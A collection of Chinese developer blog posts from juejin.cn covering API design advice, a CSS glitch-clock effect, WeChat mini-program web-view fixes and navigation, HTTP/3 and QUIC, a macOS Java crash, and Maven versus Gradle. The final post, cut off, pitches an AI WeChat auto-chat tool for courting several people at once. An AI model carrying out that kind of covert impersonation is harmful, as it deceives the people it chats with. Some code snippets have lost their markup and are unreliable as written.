- 在接口有任何变动时,务必通过书面和口头确认。在这方面,要多沟通,尽量详细,以避免出现严重问题!毕竟,软件系统非常复杂,上下游之间的理解难以保持一致。
- 尽可能使用批量接口,并考虑是否需要完全批量查询。当批量接口性能较差时,设置适当的最大数量,并考虑客户端支持将批量接口聚合查询。批量接口往往是tp99最高的接口。
- 对于系统重要设计和功能,要考虑降级预案,并加入一些开关来满足安全性和性能需求。
- 如果数据不一致,可以考虑对比两方的不一致数据并打印错误日志,例如es/db等。
- 在系统设计之前,要充分调研其他人的设计,了解背景和现状。
- 废弃的代码应立即删除,如果以后需要,可以从git中找回。如果实在不想删除,也要注释掉!特别是对外的rpc、http接口,不使用的要立即删除,保持代码简洁。接手项目的人不熟悉背景情况,很难判断这段废弃代码的意义,容易造成混乱和浪费时间。要努力将其和其他有效代码联系起来,但这很困难。
- 在代码中要有详尽的日志记录!但是必须有条理和规范,只打印关键部分。对于执行的定时任务,应该打印足够详细的统计结果。最好使用简洁明了的日志,只记录最少量但最详细的信息,反馈程序的执行路径。
- 如果接口调用失败或超时,应该如何处理?幂等和重试如何处理?
当你写下一行代码前
- 要明确这行代码可能出现的异常情况以及如何处理,是将异常隔离、忽略还是单独处理,以防遗漏某些异常。
- 需要确保该行代码的输入是否已进行校验,并考虑校验可能引发的异常。
- 需要思考由谁调用该代码,会涉及哪些上游调用,并确定向调用者提供什么样的预期结果。
- 需要确定是否调用了一个方法或接口,以及该调用是否会阻塞或是异步的,并考虑对性能的影响。
- 需要评估该行代码是否可以进行优化,是否可以复用。
- 如果该行代码是控制语句,考虑是否能简化控制流程是否扁平。
- 对于日志打印或与主要逻辑无关的输出或报警,是否需要多加关注,因为它们可能还是很重要的。
- 如果代码是set等方法,也要仔细检查,避免赋错属性。IDE可能会有误提示,因为属性名前缀类似,set方法容易赋值错误。
当你设计一个接口时
- 接口的语义应该足够明确,避免出现过于综合的上帝接口
- 如果语义不明确,需要明确上下游的期望和需求。有些需求可以选择不提供给上游调用。
- 对于接口超时的处理,可以考虑重试和幂等性。在创建和删除接口时要确定是否具有幂等性,同时,幂等后返回的数据是否和首次请求一致也需要考虑。
- 接口是否需要防止并发,以及是否成为性能瓶颈也需要考虑。
- 设计接口时要确保调用方能够完全理解,如果他对接口的理解有问题,就需要重新设计接口。这一点非常关键,可以通过邮件确认或者面对面交流来确保调用方理解得清楚。
- 在开发过程中,需要定期关注队友的开发进度,了解他们是否已经使用了接口以及是否遇到了问题。这个原则适用于所有的上下游和相关方,包括产品和测试人员。要想清楚如何对接口进行测试,并与测试人员明确交流。
- 最好自己整理好测试用例,不要盲目地指望测试人员能发现所有的bug。
- 需要考虑是否需要批量处理这个接口,以减少rpc请求的次数。但即使是批量处理,也要注意一次批处理最多处理多少条记录,不要一次性处理全部记录,避免由于网络阻塞或批量处理时间过长导致上游调用超时,需要适度控制批量处理的规模。
来源:juejin.cn/post/7306025036656787475
CSS实现一个故障时钟效果
起因
最近公司事情不是太多,我趁着这段时间在网上学习一些Cool~
的效果。今天我想和大家分享一个故障时钟的效果。很多时候,一个效果开始看起来很难,但是当你一步步摸索之后,就会发现其实它们只是由一些简单的效果组合而成的。
什么是故障效果(Glitch)
"glitch" 效果是一种模拟数字图像或视频信号中出现的失真、干扰或故障的视觉效果。它通常表现为图像的一部分或整体闪烁、抖动、扭曲、重叠或变形。这种效果常常被用来传达技术故障、数字崩溃、未来主义、复古风格等主题,也经常在艺术作品、音乐视频、电影、广告和网页设计中使用。Glitch 效果通常通过调整图像、视频或音频的编码、解码或播放过程中的参数来实现。 来自ChatGPT
可以看到关键的表现为一部分或整体闪烁、抖动、扭曲、重叠或变形
,所以我们应该重点关注用CSS
实现整体闪烁、抖动、扭曲、重叠或变形
CSS
实现闪烁
Glitch 闪烁通常是指图像或视频中出现的突然的、不规则的、瞬间的明暗变化或闪烁效果
那么我们有没有办法通过CSS
来实现上述的效果,答案是通过随机不规则的clip-path
来实现!
我们先来看看clip-path
的定义与用法
clip-path
CSS 属性使用裁剪方式创建元素的可显示区域。区域内的部分显示,区域外的隐藏。
/* <basic-shape> values */
clip-path: inset(100px 50px);
clip-path: circle(50px at 0 100px);
clip-path: ellipse(50px 60px at 0 10% 20%);
clip-path: polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%);
clip-path: path(
"M0.5,1 C0.5,1,0,0.7,0,0.3 A0.25,0.25,1,1,1,0.5,0.3 A0.25,0.25,1,1,1,1,0.3 C1,0.7,0.5,1,0.5,1 Z"
);
再想想所谓的Glitch
故障闪烁时的效果是不是就是部分画面被切掉了~
span {
display: block;
position: relative;
font-size: 128px;
line-height: 1;
animation: clock 1s infinite linear alternate-reverse;
}
@keyframes clock {
0%{
clip-path: inset(0px 0px calc(100% - 10px) 0);
}
100%{
clip-path: inset(calc(100% - 10px) 0px 0px 0);
}
}
此时的效果如下:
啥啥啥,这看着是什么呀根本不像闪烁效果嘛,先别急,想想我们闪烁效果的定义突然的、不规则的、瞬间的明暗变化
,此时因为我们是在切割整体元素,如果我们再后面再重叠一个正常元素!
span {
display: block;
position: relative;
font-size: 128px;
line-height: 1;
//animation: clock 1s infinite linear alternate-reverse;
&:before{
display: block;
content: attr(data-time);
position: absolute;
top: 0;
color: $txt-color;
background: $bg-color;
overflow: hidden;
width: 720px;
height: 128px;
}
&:before {
left: -2px;
animation: c2 1s infinite linear alternate-reverse;
}
}
@keyframes c2 {
0%{
clip-path: inset(0px 0px calc(100% - 10px) 0);
}
100%{
clip-path: inset(calc(100% - 10px) 0px 0px 0);
}
}
可以看到通过手动偏移了-2px
后然后不断剪裁元素已经有了一定的闪烁效果,但是目前的闪烁效果过于呆滞死板,我们通过scss
的随机函数优化一下效果。
@keyframes c2 {
@for $i from 0 through 20 {
#{percentage($i / 20)} {
$y1: random(100);
$y2: random(100);
clip-path: polygon(0% $y1 * 1px, 100% $y1 * 1px, 100% $y2 * 1px, 0% $y2 * 1px);
}
}
23% {
transform: scaleX(0.8);
}
}
此时效果如下
可以看到闪烁的效果已经很强烈了,我们依葫芦画瓢再叠加一个元素上去使得故障效果再强烈一些。
span {
display: block;
position: relative;
font-size: 128px;
line-height: 1;
&:before,
&:after {
display: block;
content: attr(data-time);
position: absolute;
top: 0;
color: $txt-color;
background: $bg-color;
overflow: hidden;
width: 720px;
height: 128px;
}
&:before {
left: calc(-#{$offset-c2});
text-shadow: #{$lay-c2} 0 #{$color-c2};
animation: c2 1s infinite linear alternate-reverse;
}
&:after {
left: #{$offset-c1};
text-shadow: calc(-#{$lay-c1}) 0 #{$color-c1};
animation: c1 2s infinite linear alternate-reverse;
}
}
此时我们已经通过:before
和:after
叠加了相同的元素并且一个设置蓝色一个设置红色,让故障效果更真实!
CSS
实现扭曲效果
上述的效果已经非常贴近我们传统意义上理解的Glitch
效果了,但是还差了一点就是通常表现为图像的一部分或整体闪烁、抖动、扭曲、重叠或变形
中的扭曲
和变形
,碰巧的是CSS
实现这个效果非常容易,来看看~
skewX()
函数定义了一个转换,该转换将元素倾斜到二维平面上的水平方向。它的结果是一个<transform-function>
数据类型。
Cool~
最后一块拼图也被补上了~~
@keyframes is-off {
0%, 50%, 80%, 85% {
opacity: 1;
}
56%, 57%, 81%, 84% {
opacity: 0;
}
58% {
opacity: 1;
}
71%, 73% {
transform: scaleY(1) skewX(0deg);
}
72% {
transform: scaleY(3) skewX(-60deg);
}
91%, 93% {
transform: scaleX(1) scaleY(1) skewX(0deg);
color: $txt-color;
}
92% {
transform: scaleX(1.5) scaleY(0.2) skewX(80deg);
color: green;
}
}
来看看完整的效果和代码吧!
结语
春风若有怜花意,可否许我再少年。
感谢
Glitch Clock
来源:juejin.cn/post/7355302255409184807
解决小程序web-view两个恶心问题
1.web-view覆盖层问题
问题由来
web-view
是一个 web 浏览器组件,可以用来承载网页的容器,会自动铺满整个页面。
所以这得多恶心。。。不仅铺满,还覆盖了普通的标签,调z-index都无解。
解决办法
web-view内部使用cover-view
,调整cover-view的样式即可覆盖在web-view上。
cover-view
覆盖在原生组件上的文本视图。
app-vue和小程序框架,渲染引擎是webview的。但为了优化体验,部分组件如map、video、textarea、canvas通过原生控件实现,原生组件层级高于前端组件(类似flash层级高于div)。为了能正常覆盖原生组件,设计了cover-view。
支持的平台:
App | H5 | 微信小程序 | 支付宝小程序 | 百度小程序 |
---|
具体实现
<template>
<view>
<web-view :src="viewUrl" v-if="viewUrl" >
<cover-view class="close-view" @click="closeView()">
<cover-image class="close-icon" src="../../static/design/close-icon.png"></cover-image>
</cover-view>
</web-view>
</view>
</template>
.close-view{
position: fixed;
z-index: 99999;
top: 30rpx;
left: 45vw;
.close-icon{
width: 100rpx;
height: 80rpx;
}
}
代码说明:
这里的案例是一个关闭按钮图标悬浮在webview上,点击图标可以关闭当前预览的webview。
注意
仅仅真机上才生效,开发者工具上是看不到效果的,如果要调整覆盖层的样式,可以先把web-view标签注释了,写完样式没问题再释放web-view标签。
2.web-view导航栏返回
问题由来
- 小程序端 web-view 组件一定有原生导航栏,下面一定是全屏的 web-view 组件,navigationStyle: custom 对 web-view 组件无效。
场景
用户在嵌套的webview里填写表单,不小心按到导航栏的返回了,就全没了。
解决办法
使用page-container容器,点击到返回的时候,给个提示。
page-container
页面容器。
小程序如果在页面内进行复杂的界面设计(如在页面内弹出半屏的弹窗、在页面内加载一个全屏的子页面等),用户进行返回操作会直接离开当前页面,不符合用户预期,预期应为关闭当前弹出的组件。 为此提供“假页”容器组件,效果类似于 popup
弹出层,页面内存在该容器时,当用户进行返回操作,关闭该容器不关闭页面。返回操作包括三种情形,右滑手势、安卓物理返回键和调用 navigateBack
接口。
具体实现
<template>
<view>
<web-view :src="viewUrl" v-if="viewUrl" >
<cover-view class="close-view" @click="closeView()">
<cover-image class="close-icon" src="../../static/design/close-icon.png"></cover-image>
</cover-view>
</web-view>
<!--这里这里,就这一句-->
<page-container :show="isShow" :overlay="false" @beforeleave="beforeleave"></page-container>
</view>
</template>
export default {
data() {
return {
isShow: true
}
},
methods: {
beforeleave(){
this.isShow = false
uni.showToast({
title: '别点这里',
icon: 'none',
duration: 3000
})
}
}
}
结语
算是小完美的解决了吧,这里记录一下,看看就行,勿喷。
连夜更新安卓cover-view失效问题
由于之前一直用ios测试的,今晚才发现这个问题
解决办法
cover-view, cover-image{
visibility: visible!important;
z-index: 99999;
}
继续连夜更新cover-view在安卓上的问题
如果cover-view的展示是通过v-if控制的,后续通过v-if显示时会出现问题
解决方案
将v-if换成v-show,一换一个不吱声,必然好使!
来源:juejin.cn/post/7379960023407198220
HTTP3为什么抛弃了经典的TCP,转而拥抱 QUIC 呢
大家好,我是风筝
我们在看一些关于计算机网络的数据或文章的时候,最常听到的就是 TCP、UDP、HTTP 这些,除此之外,我们或多或少可能听过 QUIC
这个东西,一般跟这个词一起出现的是 HTTP3,也就是HTTP协议的3.0版本,未来2.x 版本的升级方案。
QUIC 由 Google 主导设计研发。我们都知道 HTTP 协议是应用层协议,在传输层它使用的是 TCP 作为传输协议,当然这仅仅是对于 HTTP/1 和 HTTP/2 而言的。而 QUIC 的设计的对标协议就是 TCP ,也就是说将来只要能使用 TCP 的地方,都可以用 QUIC 代替。
Google 最开始的目的就是为了替换 HTTP 协议使用的 TCP 协议,所以最开始的名字叫做 HTTP over QUIC,后来由 IETF 接管后更名为 HTTP/3。所以,现在说起 HTTP/3 ,实际指的就是利用 QUIC 协议的版本。
TCP 不好吗,为什么还要 QUIC
TCP 协议作为传输层最负盛名的协议,可谓是久经考验。只要一说到 TCP ,我们都能说出来它是一种面向连接的、可靠的、基于字节流的传输层通信协议。
TCP 通过三次握手的方式建立连接,并且通过序号、ACK确认、丢包重传以及流量控制、拥塞控制等各种繁琐又细致的方式来保证它的可靠性。
关于 TCP 的更多细节,有兴趣的可以读读我之前写的《轻解计算机网络》里的 一个网管的自我修养之TCP协议
看上去很完美了,那为什么还要重新搞个 QUIC 出来呢,而且还被作为下一代 HTTP 的实现协议。确实不存在完美的协议,TCP 协议在整个发展过程中经过了多次改进,但是由于牵扯到互联网世界浩如烟海的各种设备,每次更新、修改都要考虑兼容问题,历史包袱太重,以至于尾大不掉。
所以为了弥补 TCP 的不足,在 TCP 上直接修改不太可能,那最好的方案就是重新开发一套协议。这种协议要吸收 TCP 的精华,又要解决 TCP 的不足,这就是 QUIC 出现的意义。
TCP 的问题-队头阻塞
时至今日,互联网上大多数网站都已经支持 HTTP/2 协议了,你可以在浏览器开发者工具中看一下网络请求,其中的 Protocol 表示网络请求采用的协议。
HTTP/2的一个主要特性是使用多路复用(multiplexing),因而它可以通过同一个TCP连接发送多个逻辑数据流。复用使得很多事情变得更快更好,它带来更好的拥塞控制、更充分的带宽利用、更长久的TCP连接————这些都比以前更好了,链路能更容易实现全速传输。标头压缩技术也减少了带宽的用量。
采用HTTP/2后,浏览器对每个主机一般只需要 一个 TCP连接,而不是以前常见的六个连接。
如下图所示,HTTP/2 在使用 TCP 传输数据的时候,可以在一个连接上传输两个不同的流,红色是一个流,绿色是另外一个流,但是仍然是按顺序传输的,假设其中有一个包丢了,那整个链路上这个包后面的部分都要等待。
这就造成了阻塞,虽然一个连接可传多个流,但仍然存在单点问题。这个问题就叫做队头阻塞。
QUIC 如何解决的
TCP 这个问题是无解的,QUIC 就是为了彻底解决这个问题。
如下图所示,两台设备之间建立的是一个 QUIC 连接,但是可以同时传输多个相互隔离的数据流。例如黄色是一个数据流,蓝色是一个数据流,它俩互不影响,即便其中一个数据流有丢包的问题,也完全不会影响到其他的数据流传输。
这样一来,也就解决了 TCP 的队头阻塞问题。
为什么要基于 UDP 协议
QUIC 虽然是和TCP 平行的传输协议,工作在传输层,但是其并不是完全采用全新设计的,而是对 UDP 协议进行了包装。
UDP 是无连接的,相对于 TCP 来说,无连接就是不可靠的,没有三次握手,没有丢包重传,没有各种各样的复杂算法,但这带来了一个好处,那就是速度快。
而 QUIC 为了达到 TCP 的可靠性,所以在 UDP 的基础上增加了序号机制、丢包重传等等 UDP 没有而 TCP 具有的特性。
既然这么多功能都做了,还差一个 UDP 吗,完全全新设计一个不好吗,那样更彻底呀。
之所以不重新设计应该有两个原因:
- UDP 本身就是非常经典的传输层协议,对于快速传输来说,其功能完全没有问题。
- 还有一个重要的原因,前面也说到了,互联网上的设备太多,而很多设备只认 TCP 和 UDP 协议,如果设计一个完全全新的协议,很难实施。
QUIC 协议
不需要三次握手
QUIC 建立连接的速度是非常快的,不需要 TCP 那样的三次握手,称之为 0-RTT(零往返时间)及 1-RTT(1次往返时间)。
QUIC 使用了TLS 1.3传输层安全协议,所以 QUIC 传输的数据都是加密的,也就是说 HTTP/3 直接就是 HTTPS 的,不存在 HTTP 的非加密版本。
正是因为这样,所以,QUIC 建立连接的过程就是 TLS 建立连接的过程,如下图这样,首次建立连接只需要 1-RTT。
而在首次连接建立之后,QUIC 客户端就缓存了服务端发来的 Server Hello,也就是加密中所需要的一些内容。在之后重新建立连接时,只需要根据缓存内容直接加密数据,所以可以在客户端向服务端发送连接请求的同时将数据也一并带过去,这就是 0-RTT 。
连接不依靠 IP
QUIC 在建立连接后,会为这个连接分配一个连接 ID,用这个 ID 可以识别出具体的连接。
假设我正在家里用 WIFI 发送请求,但是突然有事儿出去了,马上切换到了蜂窝网络,那对于 QUIC 来说就没有什么影响。因为这个连接没有变,所以仍然可以继续执行请求,数据该怎么传还怎么传。
而如果使用的是 TCP 协议的话,那只能重新建立连接,重传之前的数据,因为 TCP 的寻址依靠的是 IP 和 端口。
未来展望
随着 QUIC 协议的不断完善和推广,其应用场景将更加广泛,对互联网传输技术产生深远的影响。未来的互联网,将是 QUIC 和 HTTP3 主导的时代。
要知道,HTTP/1 到 HTTP/2,中间用了整整 16 年才完成,这还只是针对协议做改进和优化,而 QUIC 可谓是颠覆性的修改,可想而知,其过程只会更加漫长。
还可以看看风筝往期文章
来源:juejin.cn/post/7384266820466180148
MacOS14.4 + Java = 崩溃!!!
使用Mac开发Java的好兄弟们,最近你们还好吗,不知道你们对下面这张图熟不熟悉。
我是很熟悉啊,而且今天就遇到了两次0.0,那么到底是怎么回事呢?
1.场景复现
下午起床,洗把脸开始上班。很有感觉哈,思考问题脑子变快了,手上的代码也快了起来。正当我洋洋得意感觉就要大功告成的时候,突然,很快啊,我他喵的IDEA没了。突然返回到了桌面,我甚至都没反应过来发生了什么事,然后就弹出了上面那个非常让人想把它枪毙五分钟的弹窗。我IDEA崩溃了!!!不过,还好,IDEA向来智能,还会自动保存。然后我就点击了重新打开,打开后我是真的傻眼了。
我代码呢???啊???IDEA我代码呢???说好的自动保存呢?
然后我又找了下本地历史,发现也没有记录,真的G了,快一个小时的汗水白流了。。。我直接想骂街。那又能怎么办呢,只能在跟同事吐槽几句后,重新来过。
生活就是这样,每时每刻都在发生我们无法控制的事情,尽管你很委屈,尽管那是你努力很久很久的东西,但是我们无能为力。我们只能选择擦干眼泪,重新再来。你要习惯,这就是生活。
2.情景再现
就在我感慨完之后,又是一顿行云流水写完了代码,然后点击小虫子按钮准备DeBug时,好家伙,他又来了。 不过好消息是,这次大部分代码还在,只有一小部分丢失了。
生活,生活,这就是生活,我要坚强┭┮﹏┭┮3.抓到罪魁祸首
总是感觉不太对劲,从做开发到现在,说实话还从未遇到如此场景。心里除了崩溃之外还存在着疑惑,到底是什么导致一天出现两次这种情况。
晚上逛掘金的时候让我找到了这个答案。
感谢@程序猿DD的文章:juejin.cn/post/734700…
原来是你,我最信赖的MacOS。
原来官方早在3.15就发布了一篇博客,里面讲解了macos14.4中运行java程序会有导致崩溃的情况。大致意思是,在macos14.4之前,系统会向访问受保护区域的进程发送两种信号SIGBUS和SIGSEGV,进程可以选择处理信号并继续运行。但是在macos14.4中,这个信号变了,变成了新的信号SIGKILL,然后我们的java进程没法处理这个信号,所以进程就被无条件的杀死了。
而且影响从 Java 8 到 JDK 22 的早期访问版本的所有 Java 版本。并且目前没有可用的解决方法。
(帮好兄弟们翻译一下)
再看看我的系统版本,好家伙,没谁了,帮苹果测试系统兼容性了。
4.懊悔ing
现在的我已经想象到未来一段时间IDEA接连崩溃的情况了
希望官方大大能够赶快解决这个问题。在此之前,就得看,是它崩溃得快还是我git commit的快了。来源:juejin.cn/post/7347957860087250996
用 Maven 还是 Gradle?
大家好,我是风筝
作为Java 开发者,你平时用 Maven 还是 Gradle?
我一直用的都是 Maven,但是前几天做了一个小项目,用的是 Gradle,因为项目创建出来默认就是用的 Gradle,而且功能足够简单,我也就没动。
实话说,以前也接触过 Gradle。最早是我想学学 Android 开发,Android 项目默认就是用 Gradle,其实那时候我对Gradle 的印象就不是很好。
本来下载 Android SDK 就够慢的了,我记得第一次搭Android 环境,弄了足足一天。好不容易 SDK下载完了,就想写了 Hello World 跑一下,结果发现本地没有 Gradle,这时候Android Stuido 其实会自动下载 Gradle 的(就是一个 Gradle.zip
的文件,相信很多人对这个文件有阴影),但是国内的网络死活就是下载不下来。(ps: 现在下载 Gradle 应该是问题不大了,因为 Gradle 开通了国内的 CDN)
大哥,我就想跑个 Hello World,何罪之有啊!后来一顿搜索,跟着好几个教程,好歹是跑起来了。
在那儿之后,我就没碰过 Gradle 了。直到有一天,看到 Spring 和 Spring Boot 都从 Maven 切换到 Gradle了。诶,难不成 Gradle 已经这么厉害了,让 Spring 团队都抛弃 Maven 了。
然后我把 Spring Boot 最新仓库 clone 下来,结果一构建,一堆报错,解决一个又一个呀,就这?
我把原因归结于 Gradle 使用门槛过高,外加自己能力不行。直到有一天看到有人说:“有几个 Gradle 项目能一次性构建成功跑起来的吗?”
当然这不能就说 Gradle 不好用,Gradle 老鸟们基本上不存在这样的问题,说到底还是理解的不够到位。
为什么 Spring 放着好好的 Maven 不用,要费大力气切到 Gradle呢?Spring 这么大的项目,切到 Gradle 也没那么容易,也是在很多人(包括Gradle 团队成员)的帮助下才迁移完成的。据官方介绍,迁移的主要原因就是为了减少构建时间,构建速度确实是 Gradle 强于 Maven的一大优势,尤其是对于大项目更是如此。
Maven
Maven 是一个项目管理和构建工具,主要用于 Java 项目的构建、依赖管理和项目生命周期管理。Maven 的核心是包管理工具,至于项目构建其实是依靠插件来完成的,比如 maven-compiler-plugin
插件等。
Maven 遵循“约定优于配置”的原则,提供了一套默认的项目结构和构建流程。如果开发者遵循这些约定,Maven 就能自动处理很多配置工作,从而减少开发者的配置负担。
Maven 使用 XML 文件的形式管理依赖包,也就是项目中的 pom.xml
,整个 XML 文件的格式都是固定的,仓库怎么引入、依赖怎么引入、插件怎么引入都是约定好的,照着做就好了,一个项目的 pom 文件,复制到另一个项目中,改一下包依赖、改一下基本项目信息,其他的基本完全复用。
Gradle
Gradle 是一个构建自动化工具,广泛用于软件项目的构建、依赖管理和项目生命周期的管理。它最初是为了构建 Java 项目而设计的,但如今它支持多种编程语言和技术,包括 Java、Kotlin、Groovy、Scala、Android 等。
其在自动化构建能力上更强,包管理只是其中的一个功能。
Gradle 采用基于 Groovy 或 Kotlin 的领域特定语言(DSL),允许开发者通过编写脚本来自定义构建过程。相比其他构建工具(如 Maven),Gradle 更加灵活和强大。这就是它灵活性所在,但是也是它的门槛所在,也就是说你要使用它,还要理解 Groovy 或 Kotlin,理解的不到位可能会带来很多问题。这也是很多人吐槽它的原因,过于灵活的副作用就是门槛过高。
优缺点比较
其实通过上面的介绍也能看出一些端倪了。
学习门槛
首先在学习门槛上,显然 Gradle 更高。一般项目, Maven 加几行 XML 就行了,构建插件也就那么几个,只需要复制粘贴就可以了,而 Gradle 中多少要了解一点 Groovy 或 Kotlin 吧。
灵活性
Gradle 的灵活度更高,Maven 则是中规中举。如果你的构建行为比较复杂,可能纯靠 Maven 自己的配置文件没办法实现,就需要你自己写一些辅助脚本了。而用 Gradle 的话,你可以使用它的 DSL 能力定制非常复杂的构建流程。
性能
这个不得不承认,Gradle 的性能更高。据官方介绍,一般的项目使用 Gradle 构建的速度是Maven 的至少2倍,而一些大型项目的复杂构建,在极端情况下能达到 Maven 的100倍,这好像有点儿夸张了,不过快几倍应该是有的,这也是为什么 Spring 切换到 Gradle 的理由,切换到 Gradle 后,构建时间大概是20多分钟,可想而知,使用 Maven 的话,应该要一个小时以上了。
性能好是有代价的,除了原理不一样外,Gradle 会有一些后台进程,所以,对于一些性能不怎么样的开发机来说,使用 Gradle 反而会觉得卡。
用户体验
用户体验是个很主观的东西,有人就觉得 Maven 好,即使慢一点,也是它好。有人就觉得 Gradle 好,灵活,而且门槛高,用它说明我技术好啊。
但是 Maven 的稳定性是非常好的,一个 Maven 3.5 用好几年也没啥问题,但是 Gradle 不一样,好多版本是不做兼容的。比如我本地安装了新版本,但是有一个项目用的是老版本,那很可能这个项目是没办法跑起来的,只能去安装和这个项目适配的版本。这也是 Gradle 被疯狂吐槽的一个点,即使是 Gradle 用户。
最后
作为开发者如何选择呢?对我来说,我就老实的用 Maven 就好了,反正我也基本上做不了那么大型的、构建一次几个小时的应用,使用 Maven 就图个省心。安心写代码就好了,构建的事儿交给Maven、交给插件就好了。典型的实用主义。
一家之言啊,作为开发者来说,第一肯定是要跟着公司的规定来,公司如果用 Gradle ,那你也不能坚持用 Maven。同理,公司用 Maven,你也不能另辟蹊径的用 Gradle 。
其实到最后可能就是习惯问题了,如果一个工具用的时间超过几个月,那基本上所有的问题都不是问题了。
来源:juejin.cn/post/7424302125460619298
微信小程序、h5、微信公众号之间的跳转
一、微信小程序不同页面之间的跳转
wx.switchTab
跳转到 tabBar 页面,并关闭所有非 tabBar 页面。
wx.switchTab({
url: '', // app.json 里定义的 tabBar 页面路径,不可传参数
success: function() {},
fail: function() {},
complete: function() {}
});
wx.reLaunch
关闭所有页面,跳转到指定页面。
wx.reLaunch({
url: '', // app.json 里定义页面路径,可传参数,例如 'path?key1=val1&key2=val2'
success: function() {},
fail: function() {},
complete: function() {}
});
// url 上传递的参数可以在被打开页面的 onLoad 生命周期中接收
Page({
onLoad(options) {
// your code...
}
});
如果传递的参数有中文,为了避免乱码,可以先
encodeURIComponent
,再decodeURIComponent
wx.redirectTo
关闭当前页跳转到指定页面,但是不允许跳转到 tabbar 页。
wx.redirectTo({
url: '', // app.json 里定义页面路径,可传参数,例如 'path?key1=val1&key2=val2'
success: function() {},
fail: function() {},
complete: function() {}
});
// url 上传递的参数可以在被打开页面的 onLoad 生命周期中接收
Page({
onLoad(options) {
// your code...
}
});
wx.navigateTo
保留当前页面,跳转到应用内的某个页面。但是不能跳到 tabbar 页面。使用 wx.navigateBack
可以返回到原页面。小程序中页面栈最多十层。
wx.navigateTo({
url: '', // app.json 里定义页面路径,可传参数,例如 'path?key1=val1&key2=val2'
events: {
// 为指定事件添加一个监听器,获取被打开页面传送到当前页面的数据
acceptDataFromOpenedPage: function(data) {
console.log(data);
},
someEvent: function(data) {
console.log(data);
}
},
success: function(res) {
// 通过eventChannel向被打开页面传送数据
res.eventChannel.emit('acceptDataFromOpenerPage', { data: 'test' });
},
fail: function() {},
complete: function() {}
});
// eventChannel 传递的参数可以在被打开页面的 onLoad 生命周期中接收
Page({
onLoad(options) {
console.log('options', options);
const eventChannel = this.getOpenerEventChannel();
eventChannel.emit('acceptDataFromOpenedPage', {data: 'test'});
eventChannel.emit('someEvent', {data: 'test'});
// 监听acceptDataFromOpenerPage事件,获取上一页面通过eventChannel传送到当前页面的数据
eventChannel.on('acceptDataFromOpenerPage', function(data) {
console.log(data)
})
}
});
wx.navigateBack
关闭当前页面,返回上级页面或多级页面,可以通过 getCurrentPages
获取当前的页面栈,决定返回几层。
const pages = getCurrentPages();
const prevPages = pages[pages.length -2];
// 向跳转页面传递参数
prevPages.setData({...});
wx.navigateBack({
delta: 1, // 返回的页面数,默认是 1,如果 delta 大于现有页面,则返回到首页
success: function() {},
fail: function() {},
complete: function() {}
});
二、微信小程序和H5之间的跳转
微信小程序跳转到 H5
使用微信小程序自身提供的 web-view
组件,它作为承载网页的容器,会自动铺满整个小程序页面。
// app.json
{
pages: [
"pages/webView/index"
]
}
// webView/index.wxml
"{{url}}">
// webView/index.js
Page({
data: {
url: ''
},
onLoad: function(options) {
this.setData({
url: options.url
});
}
})
H5 跳转微信小程序
wx-open-launch-weapp
用于H5页面中提供一个可以跳转小程序的按钮。
在使用wx-open-launch-weapp
这个标签之前,需要先引入微信JSSDK,通过 wx.config
接口注入权限验证配置,然后通过 openTagList
字段申请所需要的开放标签。
<wx-open-launch-weapp class="dialog-footer" id="iKnow" username="跳转的小程序原始id" path="所需跳转的小程序内页面路径及参数">
<style>style>
<template>
<div class="dialog-footer" style="font-size: 2rem; text-align: center;">前往小程序div>
template>
wx-open-launch-weapp>
<script src="https://res.wx.qq.com/open/js/jweixin-1.6.0.js">script>
const IKnowElem = document.querySelector("#iKnow");
IKnowElem.addEventListener("launch", function (e) {
console.log("success", e);
});
IKnowElem.addEventListener("error", function (e) {
console.log("fail", e.detail);
});
function jsApiSignature() {
return post(
"/api/mp/jsapi/signature",
{ url: location.href }
).then((resp) => {
if (resp.success) {
const data = resp.data;
wx.config({
appId: appid,
timestamp: data.timestamp,
nonceStr: data.nonceStr,
signature: data.signature,
openTagList: ["wx-open-launch-weapp"],
jsApiList: [],
});
wx.ready(function () {
console.log("ready");
// config信息验证后会执行ready方法,所有接口调用都必须在config接口获得结果之后,config是一个客户端的异步操作,所以如果需要在页面加载时就调用相关接口,则须把相关接口放在ready函数中调用来确保正确执行。对于用户触发时才调用的接口,则可以直接调用,不需要放在ready函数中
});
wx.error(function (res) {
console.error("授权失败", res);
// config信息验证失败会执行error函数,如签名过期导致验证失败,具体错误信息可以打开config的debug模式查看,也可以在返回的res参数中查看,对于SPA可以在这里更新签名
});
}
});
}
三、H5 和微信公众号之间的相互跳转
H5 跳转到微信公众号
在微信公众号里打开的 H5 页面执行 closeWindow
关闭窗口事件即可。
const handleFinish = function () {
console.log("handleFinish");
document.addEventListener(
"WeixinJSBridgeReady",
function () {
WeixinJSBridge.call("closeWindow");
},
false
);
WeixinJSBridge.call("closeWindow");
};
如有问题,欢迎指正~~
来源:juejin.cn/post/7314546931863240723
如何从任意地方点击链接跳转到微信公众号?
一、微信内部点击链接
微信公众号主页链接:
https://mp.weixin.qq.com/mp/profile_ext?action=home&__biz=XXX#wechat_redirect
微信公众号主页链接:
https://mp.weixin.qq.com/mp/profile_ext?action=home&__biz=XXX#wechat_redirect
1.1 action
action
代表当前路径前端框架的哪个页面
- home:当前路径前端框架首页
action
代表当前路径前端框架的哪个页面
- home:当前路径前端框架首页
1.2 __biz
__biz
代表微信公众号 ID
__biz
代表微信公众号 ID
1.2.1 __biz 的获取方式
- 在网页中打开该公众号的任意一篇推文 ➡️ 右击鼠标选择检查 ➡️ 在元素下搜素
__biz
org:url 表示当前内容链接
- 从公众平台进入公众号 ➡️ 公众号设置页,右键打开检查 ➡️ 搜索 uin_base64
- 在网页中打开该公众号的任意一篇推文 ➡️ 右击鼠标选择检查 ➡️ 在元素下搜素
__biz
org:url 表示当前内容链接
- 从公众平台进入公众号 ➡️ 公众号设置页,右键打开检查 ➡️ 搜索 uin_base64
二、微信外部点击链接
目前微信官方没有提供相应的功能,但是有的第三方平台可以实现,比如天天外链
但是需要注意,配置的网页地址不能是公众号首页或关注页,必须是永久公众号文章链接。
来源:juejin.cn/post/7216518492613656636
成为海王的日子——我做了一个微信自动聊天的工具
一直幻想着能够成为一个海王,于是做了一个微信自动聊天的工具。
测试微信版本:wechat 3.9.12.17
采用技术:
- Bmob后端云(AI对话和存储需要自动聊天的人和prompt)
- uiautomation
- pyautogui
开发语言:
- python,conda环境下运行
最终的效果大家可以看B站:http://www.bilibili.com/video/BV1yK…
一、获取微信对话内容
这里采用了网上的一些开源项目进行修改,写了一个自己的WeChat控制类,采用的是uiautomation和pyautogui组件进行UI的控制,模拟人的操作。
